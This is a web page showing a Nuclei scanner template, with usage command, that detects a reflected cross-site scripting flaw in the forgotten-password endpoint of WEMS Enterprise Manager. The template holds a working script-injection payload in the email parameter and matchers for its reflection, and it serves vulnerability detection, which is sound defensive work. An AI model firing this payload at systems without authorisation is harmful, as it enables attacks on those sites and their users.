Skip to content

WEMS Enterprise Manager - Cross-Site Scripting

ID: wems-manager-xss

Severity: high

Author: pikpikcu

Tags: xss,packetstorm

WEMS Enterprise Manager contains a cross-site scripting vulnerability via the /guest/users/forgotten endpoint and the email parameter, which allows a remote attacker to inject arbitrary JavaScript into the response return by the server.

id: wems-manager-xss
info:
name: WEMS Enterprise Manager - Cross-Site Scripting
author: pikpikcu
severity: high
description: WEMS Enterprise Manager contains a cross-site scripting vulnerability via the /guest/users/forgotten endpoint and the email parameter, which allows a remote attacker to inject arbitrary JavaScript into the response return by the server.
reference:
- https://packetstormsecurity.com/files/155777/WEMS-Enterprise-Manager-2.58-Cross-Site-Scripting.html
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
metadata:
max-request: 1
tags: xss,packetstorm
http:
- method: GET
path:
- '{{BaseURL}}/guest/users/forgotten?email=%22%3E%3Cscript%3Econfirm(document.domain)%3C/script%3E'
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- '"><script>confirm(document.domain)</script>'
part: body
- type: word
words:
- "text/html"
part: header
# digest: 4a0a004730450220460ca25cd75f88b9ef020fdbb8441270dd230ca5ceb2d20a2e50996bffa6eb09022100a0153bd88b49ae3f4d4cd9a2ef9a7c935c8018d5d2c5b0d450c514099587a1dd:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/wems-manager-xss.yaml"

View on Github